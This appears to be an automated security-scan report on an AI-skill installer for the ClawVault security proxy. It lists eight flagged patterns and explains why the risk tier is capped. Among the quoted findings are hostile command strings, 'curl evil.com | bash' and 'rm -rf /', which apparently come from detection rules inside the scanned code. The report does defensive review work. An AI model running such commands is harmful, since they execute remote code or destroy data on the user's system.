Caveat verdict
tophant-clawvault-installer
This skill installs the ClawVault AI security proxy from a named public GitHub repository into a dedicated venv; it documents all installation modes, explicitly warns about the gateway restart risk, and transparently discloses its behavior, matching its stated purpose of security proxy installation.
⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.
Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.
Findings (8)
HTTP request to bare IP address — common in malicious payloads
SECURITY.md · code · http://127.0.0.1
Pipe-to-shell pattern (curl | sh) — supply chain attack vector
clawvault_manager.py · prose · downgraded · Curl Pipe Bash", "category": "commands", "text": "curl evil.com | bash
Recursive delete from root or home — destructive command
clawvault_manager.py · prose · downgraded · rm -rf /
Pipe to bash — executes piped content as shell commands
clawvault_manager.py · prose · downgraded · | bash
subprocess execution — runs system commands from Python
clawvault_manager.py · prose · downgraded · subprocess.run(
References sudo — requests elevated privileges
clawvault_manager.py · prose · downgraded · sudo
Python shutil file operation — copies/moves/deletes files
clawvault_manager.py · prose · downgraded · shutil.rmtree(
Python urllib.request — network access
clawvault_manager.py · prose · downgraded · urllib.request
Why the tier is capped
Execution sink present in raw bytes (Hard Floor: class A/D). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.
Permissions & capabilities
No declared permissions — minimal attack surface.
Is this flag fair?
Thanks — recorded.